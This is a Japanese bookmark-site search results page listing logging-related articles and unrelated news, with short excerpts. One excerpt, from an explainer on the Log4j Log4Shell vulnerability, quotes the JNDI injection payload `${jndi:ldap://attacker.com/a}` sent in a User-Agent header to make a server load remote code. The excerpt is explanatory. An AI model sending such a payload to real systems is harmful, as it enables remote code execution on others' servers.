並び順

ブックマーク数

期間指定

  • から
  • まで

121 - 160 件 / 269件

新着順 人気順

logの検索結果121 - 160 件 / 269件

  • Webサービスエンジニアが教えるサーバサイドのログ分析 情報を可視化して負荷状況を見よ

    ログ分析勉強会は、日々の業務に役立てられる「ログ分析」についての情報交換を目的として活動しています。オンライン開催となった今回、AWSに詳しい山口氏がWebサービスのパフォーマンス改善に必要なログ分析について、日々の業務から得た知見を共有しました。後半は、サーバーサイドから見たログ分析について。 サーバ情報を可視化して負荷状況を見る 続いて、サーバの負荷状況を見るところですね。リソースの情報をコマンドで取得してサーバ情報を可視化しましょうというところです。 よく使うのは、1つ目はhtopですね。htopでプロセスごとにどれくらいのメモリやCPUを使っているかを取っていくのがあります。リクエストが多いときにこれを取っていって、どこが重たくなっているかを見るというのがいいかなと思っています。 例えばアプリケーションサーバと同梱されているものだったりとかすると、アプリケーションサーバの負荷がいき

      Webサービスエンジニアが教えるサーバサイドのログ分析 情報を可視化して負荷状況を見よ
    • SOLID原則を理解し、JavaScriptで実践するためのガイド - deve.K's Programming Primer - プログラミング初心者のための入門ブログ

      ソフトウェア開発者にとって、堅牢でテスト可能で拡張性があり、保守性の高いオブジェクト指向のソフトウェアシステムを設計することは重要です。 そこで登場するのがSOLID原則です。 SOLIDは、ソフトウェア開発中に生じるかもしれない特定の問題を解決するために5つの設計原則が組み合わさったセットです。 この記事では、SOLID設計の原則について詳しく学んでいきます。 具体的には、SOLID原則が何を意味しているのか、各部分がそれぞれ何を表しているのか、また実際のプログラム例を挙げながら現役のプログラマーが説明します。 さらに、JavaScriptを使ってこれらの原則を実装する方法も紹介します。 SOLID設計原則とは? 単一責任原則 (SRP) Open/Closed原則 リスコフ置換原理 (LSP) インターフェース分離原則 (ISP) 依存関係逆転の原則 最後に SOLID設計原則とは?

        SOLID原則を理解し、JavaScriptで実践するためのガイド - deve.K's Programming Primer - プログラミング初心者のための入門ブログ
      • docker-composeのログローテーション - Qiita

        services: my-app: build: . logging: driver: json-file options: max-size: 1m max-file: '3' 説明 loggingのoptionsにmax-sizeとmax-fileを指定します。 max-sizeあたりでログがロールオーバーされ、max-fileの数だけログ保持されます。 疑問点 ログは、docker-compose logsやdocker logsコマンドで確認しますが、ロールオーバーされた古いログはどう扱われるのでしょうか。 検証 とりあえず、stdoutにベラベラ出力するコンテナを作成します。

          docker-composeのログローテーション - Qiita
        • 【図解】Log4jの脆弱性 CVE-2021-44228 (Log4shell or LogJam) について

          JNDI とはJava Naming and Directory Interface という、Java アプリケーションが DNS や LDAP 等のサービスを利用するための汎用的なインタフェース (ライブラリ) です。 Log4j と JNDI lookupApache Software Foundation が開発した、Java ベースのロギングに関するライブラリです。JNDI lookup という機能があり、書き込んだログの一部を自動で変数化します。今回はこの機能が悪用されています。 CVE-2021-44228 の攻撃シーケンスの例 攻撃者は脆弱性をトリガーするために http ヘッダの User-Agent に ${jndi:ldap://attacker.com/a} という文字列を埋め込み、http リクエストを送信します。脆弱性のあるサーバの Java App はその通信を

            【図解】Log4jの脆弱性 CVE-2021-44228 (Log4shell or LogJam) について
          • JavaScriptの組み込みAPIのIntlが凄いので紹介してみた。

            はじめに 明けましておめでとうございます。 (一週間遅れ) この記事はJavaScriptの組み込みAPI Intl の紹介と解説です。 Intl とは? MDN から引用すると Intl オブジェクトは、 ECMAScript の国際化 API の名前空間で、言語に依存した文字列の比較、数値の書式化と、日付の書式化を提供します。 Intl オブジェクトは、いくつかのコンストラクターに加え、国際化コンストラクターや他の言語に関する関数に共通する機能へのアクセスを提供します 用はi18nの書式版です。 例を出すより見たほうが早いので実際に機能解説します。 (先に言っておきますが、実はこれバックエンド無しで自然言語処理が出来る優れものです。) 用語解説 localesって何?そもそもnewって何?って人がいるかもしれないので locales https://developer.mozilla.

              JavaScriptの組み込みAPIのIntlが凄いので紹介してみた。
            • Goエラーハンドリング戦略

              Goのエラーハンドリングが採ったスタイル 多値返し 直積(関数の返値とエラーを両方返す) try-finallyをdeferという機構でカバー panicはプロセスを落とすためのもの Goはこの戦略でエラーハンドリングを行うとしましたので、「多値はなぜタプルじゃないんだ?」、「直和(返値orエラー)で十分じゃ?」「panic-recoverでtry-catchできそう?」などいう様な他の処理系の風習を持ち込むことは意味がありません。そしてそれらの提案の多くはすでに検討されリジェクトされてきた経緯があります。 「try組み込み関数」プロポーザルなんかも検討されマージ直前くらいまで進んだこともありますが、「Goのエラーハンドリング」にとって一長一短がありました。その欠点課題は解決できずに最終的にリジェクトされました。 「多値返し」は実にCPUフレンドリーな機構で、C言語の関数呼び出し規約にちょ

                Goエラーハンドリング戦略
              • ログ分析トレーニング用コンテンツの公開 - JPCERT/CC Eyes

                JPCERT/CCは、Internet Week 2016 ~ 2019にて「インシデント対応ハンズオン」と題し、標的型攻撃を受けた際のセキュリティインシデント(以下、インシデント)調査手法に関するハンズオンを行ってきました。受講者の方から高く評価していただいていた「インシデント対応ハンズオン」ですが、公開の要望が多かったため、この度、GitHub上でコンテンツを公開することとしました。コンテンツは以下のURLから確認できます。 Log Analysis Training https://jpcertcc.github.io/log-analysis-training 本コンテンツは実際の標的型攻撃の事例をもとに作成しており、攻撃者のネットワーク侵入時にどのような痕跡がログに残るか、また、侵入の痕跡を発見するためにどのようなログ取得設定が必要か、をシナリオに沿って理解できる内容になっていま

                  ログ分析トレーニング用コンテンツの公開 - JPCERT/CC Eyes
                • 羽田空港のトイレで出産直後に女子大生はなぜ乳児を殺めたか デリヘルのバイトは「性経験を積むことで女性であると確認したかった」 | 文春オンライン

                  殺害遺棄前後の女性の行動は不可解で強烈だった。飛行機の中で陣痛に耐え、空港のトイレで産んで窒息死させると、女性は殺害後に袋に入れた赤ちゃんの遺体を持ったまま空港内のカフェでアップルパイと飲み物を注文し、写真をSNSにアップしていた。さらに、殺害動機を「赤ちゃんの存在に困った」「就活の邪魔になると思った」と供述した。加えて女性が裕福な層が通うイメージの大学の出身で、赤ちゃんの父親がアルバイト先である風俗の客だったなどのエピソードは、人々の好奇心と加罰意識を刺激した。 2021年9月24日、懲役5年の実刑判決が下り、裁判長の「就職活動への影響を避けるべく、自らの将来に障害となる女児の存在をなかったものにするため殺害した。身勝手で短絡的(な犯行)」〔※( )内は筆者加筆〕との言葉とともに、共同通信は次のように報じた。 ◆ 〈被告は公判で、動機について「頭が真っ白になった。自分でも分からない」と説

                    羽田空港のトイレで出産直後に女子大生はなぜ乳児を殺めたか デリヘルのバイトは「性経験を積むことで女性であると確認したかった」 | 文春オンライン
                  • AWS Startup Tech Meetup #3: かんたんコンテナロギング選手権

                    コンテナでログをどう取得すればいいの?そもそもどういうログがあるのか? ログの取得パターンから活用方法まで、 @prog893 が選定のためのヒントとサンプルアーキテクチャで紹介します。

                      AWS Startup Tech Meetup #3: かんたんコンテナロギング選手権
                    • 保守性と生産性を両立する分析用SQL構造化の4原則 〜 構造化プログラミングの考え方をSQLに適用する

                      ヤフー株式会社は、2023年10月1日にLINEヤフー株式会社になりました。LINEヤフー株式会社の新しいブログはこちらです。LINEヤフー Tech Blog こんにちは。Yahoo!広告のデータマーケティングソリューション(以下、DMS)を開発しているデータアナリストの薄田です。 みなさんは、中間テーブル同士が複雑に絡み合い変更しようにも影響範囲を推定できず、手がつけられない分析パイプラインの保守で苦労された経験はないでしょうか? 私のチームでは数千行におよぶ分析用SQLをリファクタリングして、保守性と生産性を両立する分析パイプラインに生まれ変わらせることができました。 この記事ではリファクタリングを通して確立した、分析用SQLを構造化するための4原則を紹介します。4原則を意識しながらSQLを書くことで、高凝集・疎結合な分析パイプラインを作ることができます。 この記事では凝集度と結合度

                        保守性と生産性を両立する分析用SQL構造化の4原則 〜 構造化プログラミングの考え方をSQLに適用する
                      • アルミ削り出しの一体型キーボードをつくった - log.fstn

                        はじめに この記事は キーボード #1 Advent Calendar 2020 の7日目の記事です。6日目の記事は@hsgwさんのARMマイコンを使ったスプリットキーボードの作り方でした。 自作キーボードという文化が流行りだして数年経ち、はじめは一部のキーボード大好きっ子で盛り上がっていましたが、今ではだいぶ広い範囲まで文化が浸透してきたような気がしています。今の日本でのブームの源流がLet's SplitやHelixとすると、どちらかといえば製品としてのキーボードというより、電子工作に近いところからスタートしたと認識しています。ただ最近では海外のように高級志向なキーボードを買う方々を国内でもよく見るようになり、また違う流れを感じ始めました。 私自身も今までサンドイッチタイプのCorneキーボードから、徐々にアルミ削り出しのキーボードに興味を持つようになり、色々なキーボードを試すようにな

                          アルミ削り出しの一体型キーボードをつくった - log.fstn
                        • Datadog メトリクスモニター作成入門

                          Datadog はモニタリング関連の SaaS ではおそらく最も利用されているサービスでしょうが、公式ドキュメントが豊富にある割には何から読み始めれば良いかわかりにくく、慣れるまでの道が険しい印象です。 本エントリーでは、Datadog が既に導入されている組織で、Datadog モニターを使って監視をしたいけど、モニターの設定方法がよくわからないといった方を対象に、メトリクスモニターの作成に焦点を絞って解説していきます。なお、あくまで Datadog の使い方についての解説であり、どのようなモニターを設定すべきかについては触れません。 メトリクスの収集についても触れたかったんですが、力尽きたので、メトリクスの収集については気が向いたら別エントリーを書きます。 アジェンダ メトリクスモニターの作成方法の基本 クエリの定義について クエリの評価期間・評価方法・アラート条件の指定 クエリの結果

                            Datadog メトリクスモニター作成入門
                          • ランサムウェアグループ、ロシア政府支持を一時表明 ロシアを標的としたサイバー攻撃に「持てるリソースを全て注ぎ込み報復」

                            ランサムウェア「Conti」を開発する犯罪グループが、ロシアとウクライナの情勢についてロシア政府を支持する声明を発表したと、ITセキュリティ系のニュースサイトBleepingComputerが2月25日(米国時間)に報じた。 Contiの犯罪グループは同日「ロシア政府の全面支持を公式に表明する。ロシアに対してサイバー攻撃や戦争活動を仕掛けようとする者がいれば、その敵の重要なインフラに対し、持てるリソースの全てを注ぎ込み報復する」と声明を出した。 BleepingComputerによれば、同グループはその約1時間後にメッセージを変更。「どの政府とも同盟を結ぶことはなく、現在進行している戦争を非難する」としたが「米国のサイバー攻撃によって、ロシアやロシア語圏の重要なインフラ、平和な市民の生活と安全が脅かされる場合、全力で報復する」とした。 同グループはロシアに拠点を持つとされている。Conti

                              ランサムウェアグループ、ロシア政府支持を一時表明 ロシアを標的としたサイバー攻撃に「持てるリソースを全て注ぎ込み報復」
                            • MVCCとInnoDBでの実装について - shallowな暮らし

                              こんにちは。id:shallow1729です。先日はredo logを中心にストレージエンジンについて解説を行いましたが、今回は同時実行制御、特にMySQLなど多くのデータベースで採用されているMultiversion Concurrency Control(MVCC)という技術にフォーカスしようと思います。 今回の記事ではまず前半でMVCCというものがどういうものかについて解説をして、次にMVCCの実装方法についてInnoDBの実装を参考にしながら見ていこうと思います。前提知識はあまりいらないと思いますが、リレーショナルデータベースの操作経験はあったほうがいいかなと思います。また、前回のストレージエンジンの解説で述べた内容はあまり説明しないので、軽く目を通してもらえると頭に入りやすいかなと思います。 shallow1729.hatenablog.com トランザクションの原子性 まずトラ

                                MVCCとInnoDBでの実装について - shallowな暮らし
                              • 知床 観光船遭難【詳細】運航会社社長が初会見 当日の状況は… | NHK

                                北海道の知床半島の沖合で観光船が遭難した事故は発生から5日目。 観光船の運航会社「知床遊覧船」の桂田精一社長の初めての記者会見が午後4時50分ごろから斜里町内のホテルで行われました。 会見では桂田社長が「被害者の方々に対し、大変申し訳ございませんでした」などと謝罪したうえで、事故当日の状況や運航の安全管理体制などについて説明。会見は、午後7時すぎに終了しました。 当日の状況は… 記者会見で運航会社「知床遊覧船」の桂田精一社長は遭難事故が起きた23日当日の経緯について用意した資料をもとに説明しました。 それによりますと、今月23日の午前8時ごろ、桂田社長は「KAZU 1」の豊田徳幸船長と当日のクルーズについて打ち合わせをしたということです。 その際、豊田船長から「午後、天気が荒れる可能性があるが、午前10時からのクルーズは出航可能」と報告があったとしています。 この報告を踏まえ、桂田社長は海

                                  知床 観光船遭難【詳細】運航会社社長が初会見 当日の状況は… | NHK
                                • マイクラもハッキング ~「Apache Log4j」ライブラリに致命的なリモートコード実行のゼロデイ脆弱性【12月10日18:45追記】/「CVE-2021-44228」のCVE番号が割り当てられる予定。かなり広範囲に影響か。【やじうまの杜】

                                    マイクラもハッキング ~「Apache Log4j」ライブラリに致命的なリモートコード実行のゼロデイ脆弱性【12月10日18:45追記】/「CVE-2021-44228」のCVE番号が割り当てられる予定。かなり広範囲に影響か。【やじうまの杜】
                                  • JSのレスポンシブ対応をresizeからmatchMediaに移行した

                                    JS でブレークポイント毎に処理を分ける場合の方法を resize から matchMedia に移行したので、その際のメモ書きです。 昔ながらの方法 恥ずかしながら、最近まで JS でブレークポイント毎に JS 処理を切り替える場合、 以下のように昔ながらの resize イベントの監視を使っていました... /** * イベントリスナー */ const listener = () => { // リサイズ時に行う処理 if (window.innerWidth >= 768) { // 768px以上 console.log('PC用ブレークポイント用処理'); } else { // 768px未満 console.log('SP用ブレークポイント用処理'); } }; // リスナー登録 window.addEventListener('resize', listener); /

                                      JSのレスポンシブ対応をresizeからmatchMediaに移行した
                                    • 「GitHubで大規模なマルウェア攻撃が広まっている」──海外エンジニアのツイートが話題 すでに対応中か

                                      スティーブンさんは当初、「3万5000のリポジトリ(プロジェクトのソースコード保管庫)が感染している」としていたが、その後「GitHub上に3万5000件以上見つかったのであり、リポジトリが感染しているわけではない」と訂正している。悪意あるコードが埋め込まれているのは、正規のリポジトリから第三者がクローンしたもの。 投稿によると、暗号通貨(原文ではcrypto)やGo、Python、JavaScript、Bash、Docker、Kubernetesなどのサードパーティーライブラリのクローンリポジトリで悪意あるコードを確認しているという。悪意あるコードは、Node.jsのモジュール管理ツール「npmスクリプト」やDockerコンテナのパッケージ「Dockerイメージ」、インストールドキュメントに追加されているとしている。 続けて、スティーブンさんは「攻撃者はクローンした偽のリポジトリを正規の

                                        「GitHubで大規模なマルウェア攻撃が広まっている」──海外エンジニアのツイートが話題 すでに対応中か
                                      • なぜ Go ではロガーをコンストラクタ DI してはならないのか

                                        問題のある実装パターン 共通実装 以下のような applog パッケージ上のロガー実装を考えましょう。ここでは Go 標準の log.Logger をラップしていますが,様々な実装に拡張できることを想定しています。 package applog import ( "fmt" "log" "os" ) type Logger interface { Info(message string) Error(message string) } func NewLogger() Logger { return &logger{ inner: log.New(os.Stdout, "", log.LstdFlags), } } var _ Logger = (*logger)(nil) type logger struct { inner *log.Logger } func (l *logger)

                                          なぜ Go ではロガーをコンストラクタ DI してはならないのか
                                        • 構造化ログのフォーマット logfmt vs JSON lines - methaneのブログ

                                          構造化ログのプラクティスをあちこちで調べていたら、logfmtを推奨する記事を見つけたので調べてみました。 先に結論を言うと、JSON linesを使っておくのが良さそうです。 logfmt について logfmtとはスペース区切りで key=value を並べたフォーマットです。文字列にはクォートとエスケープによってスペースや改行を含められます。 at=info method=GET path=/ host=mutelight.org fwd="124.133.52.161" dyno=web.2 connect=4ms service=8ms status=200 bytes=1653 (logfmt から引用) あちこちで logfmt のリファレンスとして紹介されているのはこの記事です。 https://brandur.org/logfmt 発明されたのはどこか分かりませんが、流行

                                            構造化ログのフォーマット logfmt vs JSON lines - methaneのブログ
                                          • Loggingモジュールではじめるログ出力入門 / Introduction to Python Logging

                                            PyCon JP 2021 登壇資料: https://2021.pycon.jp/time-table/?id=272259

                                              Loggingモジュールではじめるログ出力入門 / Introduction to Python Logging
                                            • ツールド北海道 正面衝突死亡事故 / 交通規制と大会運営の実情を現場から #1 – LinkTOHOKU LLC

                                              北海道のテレビ局HBCさんの動画 およびトップ画像は公式サイトより (見出し) 国際競技団体公認のレースで、とても残念な事故です。 国内最大規模の自転車ロードレース「ツール・ド・北海道」。今月8日、参加していた21歳の男子大学生が死亡する痛ましい事故が起きました。 日本で1番公道封鎖型自転車イベント現場経験がある(らしい)との話で、現場実情を教えて欲しいとメディアから打診がありました。記者さんが良い文章を書いてくれると信じていますが 各メディアの報道は以下の2点から (A)現場や内容を熟知しない記者が記事を書くことが多く、掲載判断するニュースデスクも同様で、実際の話しとズレることがある (B)テレビの場合放送時間が限られる。新聞の場合掲載紙面が限られる 内容が【切り取り・曲解報道】になってしまうことも熟知、そして心配もしているため、現場実情を正確にお伝えします。 ※現場実務を知らない方が騒

                                              • Big Sky :: Go に go:embed が入った。

                                                Go 言語はシングルバイナリをウリにしたプログラミング言語です。バイナリファイルを1つポンと scp で転送すれば動くのでとても便利です。シングルバイナリとなると当然、画像や HTML といったアセットをバイナリに埋め込みたくなります。 Go 言語ではこれまで go-assets や go-bindata、statik というツールを使う事でファイルのコンテンツをバイナリ化し、変数からアクセスする様にしてきました。 しかしそれらには色々な流儀や OS 間でのまばらな動作など、ユーザにとって納得のいかない物がありました。昨日、Go 言語ではオフィシャルとしてこのファイル埋め込みをサポートする様になりました。Go 1.16 から使える様になります。 cmd/go: add //go:embed support · golang/go@25d28ec · GitHub +3 −3 src/cmd

                                                  Big Sky :: Go に go:embed が入った。
                                                • 大規模システムにおける5つのログ転送パターン

                                                  成功者がどのようにNew Relicを使用してKubernetesのパフォーマンスを4倍に向上させ、拡張性とスループットを改善したかをご覧ください。

                                                    大規模システムにおける5つのログ転送パターン
                                                  • ログ調査基盤を構築してみた

                                                    こんにちは。 株式会社ココナラのインフラ・SREチーム所属の かず です。 システム運用において、有事の際に迅速かつ適切なシステム稼働状況の確認は欠かせません。 その手段の1つとして、ログの調査や分析の効率化は切っても切れない関係です。 システムが成長するにあわせ、ログの種類や量が多くなり、結果としてログの調査や分析が難しくなるのはよくある話かと思います。 弊社でもサービスのグロースに伴って、ログの種類や量が多くなり、結果としてログの調査や分析で課題を抱えていました。具体的には以下の2点です。 ログから原因調査を行うには、複数ログを横断・突き合わせが必要 ログの追跡に必要な情報がログに出力されない場合がある そこで、課題への対応としてログ調査基盤の構築を行いました。 本記事では背景や苦労したこと、効果についてご紹介します。 複数ログの横断調査実現に向けて ログ調査基盤の構築 苦労したこと

                                                      ログ調査基盤を構築してみた
                                                    • アリババ、「Log4jの脆弱性を中国当局に報告しなかった」として6カ月の提携停止処分に

                                                      Java向けログ出力ライブラリ「Apache Log4j」(Log4j)で12月10日に判明した脆弱性を巡り、中国の行政機関である中国工業情報化部はこのほど、提携関係にあるアリクラウド(阿里雲)が脆弱性情報を発見後すぐに報告しなかったとして6カ月間の提携停止処分とした。中国の報道機関・21世紀経済報道が23日報じた。 問題となっているLog4jの脆弱性は、アリクラウドが発見したとされている。中国工業情報化部・ネットワーク安全管理局は、同社がこの脆弱性を米Apache Software Foundation(ASF)に報告した一方で、同局にはすぐに報告しなかったとしている。同局は別の情報セキュリティ機関からこの脆弱性の報告を受け、ASFに修正を促したという。 中国は「ネットワーク安全法」の第25条で「ネットワーク事業者は脆弱性など情報セキュリティ上のリスクが発生した場合、緊急対応を直ちに開始

                                                        アリババ、「Log4jの脆弱性を中国当局に報告しなかった」として6カ月の提携停止処分に
                                                      • GitHub - YfryTchsGD/Log4jAttackSurface

                                                        You signed in with another tab or window. Reload to refresh your session. You signed out in another tab or window. Reload to refresh your session. You switched accounts on another tab or window. Reload to refresh your session. Dismiss alert

                                                          GitHub - YfryTchsGD/Log4jAttackSurface
                                                        • Log4j 2のバージョンアップのやりかた - 日々常々

                                                          「Log4j 2に脆弱性があるらしい、バージョンアップしたら治るらしい。」 本日話題のこのテーマで軽く書いておきます。 未完です。 未完公開の言い訳。更新した内容は最後に書いてます。大きな間違いは(今のとこ)ないので、よかった。 2021-12-20追記: 2.17.0 出てますのでコピペしてそのままにせず適宜読み替えてくださいね。 とにかくバージョンを上げよう ……リリースできるかは別の話として。 バージョンを上げられないことには話になりません。ということでとにかくあげましょう。 Log4j 2のようなログライブラリは多くのプロダクトで使用されています。 意識する/しないに関わらず、ログライブラリは何かしら関連があると思うべきでしょう。 使用しているかの調べ方 常時依存ライブラリリストを出力するなどして管理しているのであればそれを見ればいいだけの話ですが、そうでなければ、 mvn dep

                                                          • はてなブログをECSに移行してリリース頻度も改善した話 - Hatena Developer Blog

                                                            この記事ははてなエンジニア Advent Calendar 2022の26日目のエントリです。 こんにちは id:cohalz です。はてなブログでは2022年7月にインフラをAmazon EC2からAWS ECS(AWS Fargate)に移行するプロジェクトが完了しました。 プロジェクトは2021年9月から始まったので約10ヶ月間という大きなプロジェクトでした。 プロジェクト完了までに行ってきたことのうち、特に面白かったところなどをこの記事で実施した順に振り返ってみます。 はてなブログのインフラのこれまで アプリケーションを動かせるようにする ALBを追加する 検証環境を用意だけしておく プロキシの設定埋め込み 証明書の配信 アクセスログを配送できるようにする アクセスログの形式を新しくする EC2でもFirehoseを経由するように タイムゾーンをUTCに統一 FirehoseのLa

                                                              はてなブログをECSに移行してリリース頻度も改善した話 - Hatena Developer Blog
                                                            • JavaScript のクロージャーと for 文の let 初期化の例外

                                                              先日、次のような JavaScript クイズを Twitter で出しました。 // JavaScript quiz: 出力は? const a = []; { for(let i = 0; i < 10; i++) { a[i] = () => console.log(i); } } a[3](); { let i; for(i = 0; i < 10; i++) { a[i] = () => console.log(i); } } a[3](); { for(let i = 0; i < 10;) { a[i] = () => console.log(i); i++; } } a[3](); — Takuo Kihira (@tkihira) August 15, 2022 答えは 3, 10, 4 なのですが、for 文の let 初期化専用の例外処理がない場合は 10, 10,

                                                              • 開発とトラブルシュートに役立つ!クラウド時代のアプリケーションログ埋め込みと活用法

                                                                ヤフー株式会社は、2023年10月1日にLINEヤフー株式会社になりました。LINEヤフー株式会社の新しいブログはこちらです。LINEヤフー Tech Blog Yahoo! JAPANアプリの通知系バックエンドシステムを主に担当しているエンジニアの福盛です。 Yahoo! JAPANアプリの通知系バックエンドシステムについては、以下の記事でも紹介しています。もし興味があればこちらも参照ください。 チームのスキル向上にもつながるシステム刷新 〜 Yahoo! JAPANアプリ「お知らせ」機能の開発事例 Scalaで使うMessage Queue 〜 Yahoo! JAPANアプリのお知らせ送信でのApache Pulsarの活用 今回は開発とトラブルシュートの効率を大幅に向上する、アプリケーションログの埋め込みと活用方法について紹介いたします。 本記事では「JavaおよびScalaで構築さ

                                                                  開発とトラブルシュートに役立つ!クラウド時代のアプリケーションログ埋め込みと活用法
                                                                • リアルタイムログ分析基盤のAWS-_GCP移行話

                                                                  6/26 【オンライン】ログ分析勉強会 vol.2 での登壇資料です https://loganalytics.connpass.com/event/176044/ #logben

                                                                    リアルタイムログ分析基盤のAWS-_GCP移行話
                                                                  • Pythonによるアクセスログ解析入門 / Tutorial on Access Log Analysis by Python

                                                                    PyConJP 2021での発表(https://2021.pycon.jp/time-table?id=269506) で利用した資料です。サンプルコード (https://colab.research.google.com/drive/1r4GcXWvM-j-dlfT0XF-O-Y5DiyAM-gGq?usp=sharing) もあります。

                                                                      Pythonによるアクセスログ解析入門 / Tutorial on Access Log Analysis by Python
                                                                    • パソコン捨てて、市場に行こう|Taihaku Tsuchiya

                                                                      こんにちは 👋 ウーオ CPOの土谷(@taihaku0415) です。2023年初めてのnote投稿です。 私はウーオに入社した2019年1月末から水産業界に身を置いて、丸4年が経ち5年目に突入しました。 元々水産業出身ではない私にとって「ウーオが価値を提供したい水産業界のユーザや周辺の環境についていかに把握、理解するか」はプロダクト開発という文脈でとても重要なテーマでした。 入社1ヶ月後に行った鳥取港での作業の様子また、今回のnoteでは、ここ数年で私自身が顧客理解、事業ドメイン理解をするために意識していたこと、実践していたやり方について紹介したいと思います。 このnoteの内容は、プロダクトづくりの中でも”ユーザの利用文脈とユーザ体験の把握”(=ユーザ調査)のフェーズの中で、特に現場に出向いたり、ユーザに直接ヒアリングする際の話に絞って説明をしています(一部、そういうのが難しい場合

                                                                        パソコン捨てて、市場に行こう|Taihaku Tsuchiya
                                                                      • 天安門事件から35年の証言「ここは戦場だった」混乱の中国・北京から邦人を脱出させた元ANA職員が見たもの|FNNプライムオンライン

                                                                        中国・北京で民主化を求める学生らを軍が武力で鎮圧し、多数の死傷者を出した天安門事件から6月4日で35年となる。 天安門事件 戦車の前に立ちはだかった男性(1989年6月) この記事の画像(15枚) 1989年6月4日、北京の中心部では戦車が走り、日本人が住む住宅にまで銃弾が飛んでくるなど大きな混乱が起きていた。 民主化を求める民衆を軍が武力で鎮圧し多数の死傷者を出した天安門事件が発生した後、外務省は北京に住んでいた約4000人の在留邦人らに退避勧告を出した。 北京市の中心部を走る戦車や軍の車 1989年6月5日 撮影:尾坂氏 しかし、銀行は閉鎖され現金や航空券を持たない人も多く、突然の大事件に北京の日本人たちは翻弄されていた。 天安門事件当時に全日空の北京市店に勤務していた尾坂雅康氏 当時、全日空の北京支店で営業責任者として勤務していた尾坂雅康さんは天安門事件の直後、超法規的措置を断行し、

                                                                          天安門事件から35年の証言「ここは戦場だった」混乱の中国・北京から邦人を脱出させた元ANA職員が見たもの|FNNプライムオンライン
                                                                        • 一意な識別子の生成でUUID/ULID/CUID/Nano IDなど検討してみた - Sweet Escape

                                                                          最近、一意な識別子について検討することがあったのでその検討メモ。 一意な識別子とは つまり、重複しない、ユニークな識別子(Identifier, 以下id)のこと。ここではRDBのテーブルにおける主キーとして使うことを想定かつ前提としている。したがって、主キーの要件であるユニーク性を持ったidをどうやって生成していくか。 そんなのDBの連番でいいじゃんて話もあるがここではその話はせず、あくまでも一意な識別子をどう生成するかの話に絞る。 選択肢 一番有名だと思われるUUIDを筆頭にいくつかの選択肢がある。 UUID ULID CUID Nano ID 他にもTwitter発のSnowflakeとか今はDeprecatedになってるshortidなどがあるが、キリがないのでここでは上記の4種類だけで簡単に比較した。また、実際にはUUIDはバージョンによってSpecが異なるがここではバージョン4

                                                                            一意な識別子の生成でUUID/ULID/CUID/Nano IDなど検討してみた - Sweet Escape
                                                                          • QUICやHTTP/3で利用を避けるべき送信元ポートの議論についての考察 - show log @yuyarin

                                                                            https://www.slideshare.net/yuyarin/quicnat 最近QUICとNATについての話をJANOGで紹介するぐらいQUICという新しいプロトコルに既存のネットワークインフラがどう適応していくかを考えています。 id:asnokaze さんの記事で紹介されているように、QUICやHTTP3/3で送信元UDPポートとして利用を避けるべきポートの議論が行われています。これはUDPのリフレクション攻撃のへの対応としてインフラストラクチャ側で特定のUDPポートのトラフィックをブロックしているケースがあるからです。実際に私もこのブロックの設定を行ったことがあります。 これはUDPというプロトコルの特性に起因する問題であり、QUIC, HTTP/3に限らずUDPを使うプロトコルに広くある問題です。 asnokaze.hatenablog.com QUICクライアント側で送

                                                                              QUICやHTTP/3で利用を避けるべき送信元ポートの議論についての考察 - show log @yuyarin
                                                                            • Reactのprops/contextの使い分け - saneyuki_s log

                                                                              Reactのprops/contextの使い分け 仕事先でたまたまこれの話になり、個人的に思っていることをまとめた。 公開したのは、時々見かける「どっちを使うべき?」みたいな議論に 自分も混ざりたかった 思うところがあったから. 「とにかくpropsでいい」と自分は考えている。 なによりReactは書き方に詰まった場合に、フレームワークライブラリ固有の事情を考慮して解決するというよりも、実装や設計上の問題が一般的なプログラミングパターンの範疇の発想で解決できるのがよい 前提 以下のように考える React/preact のコンポーネント = 通常のclassや関数 状態を隠蔽して抽象する 最近は冪等性がどうとかReact語るときにあんまりいわなくなったけども.... props = 関数やメソッドの引数(入力) context = グローバル変数(モジュールグローバルな変数) 実装の指針

                                                                                Reactのprops/contextの使い分け - saneyuki_s log
                                                                              • Logging Best Practices: The 13 You Should Know

                                                                                Log Analytics Logging Best Practices: The 13 You Should Know When you search for things on the internet, sometimes you find treasures like this post on logging, e.g. creating meaningful logs. This post is authored by Brice Figureau (found on Twitter as @_masterzen_). His blog clearly shows he understands the multiple aspects of DevOps and is worth a visit. Our thanks to Brice for letting us adapt

                                                                                  Logging Best Practices: The 13 You Should Know
                                                                                • エンジニア向けイベントをやる時に忘れがちだけどやっておいたほうが良いこと - potato4d log

                                                                                  昨日完全独立コミュニティのイベントと、会社が関係するコミュニティのイベントの connpass が両方空いたのは良いけど、同じことを外向けにも会社向けにも両方書く必要はないよなと思ったのでメモ。 思い出したら随時追記するかも。自明なこととかお金の話は書いてません。 登壇者系 接続端子の共有 基本的に最近だと HDMI / Type C をカバーしておけばトラブルが起こることはない 上記が揃っているならその旨を、その上でほかもカバーしている場合や、不足している場合はその情報も添えて共有しておくと良い セッション後の質疑応答の有無の共有・確認 質問タイムがあるかないかで実質登壇時間が変わってくるため セッションの間に 5 分休憩などがある場合、それが休憩なのか質問用バッファなのかがわからないので明確にする そもそも人によって質疑応答の有無は選択できたほうが良いので確認すると良い 自分が登壇者と

                                                                                    エンジニア向けイベントをやる時に忘れがちだけどやっておいたほうが良いこと - potato4d log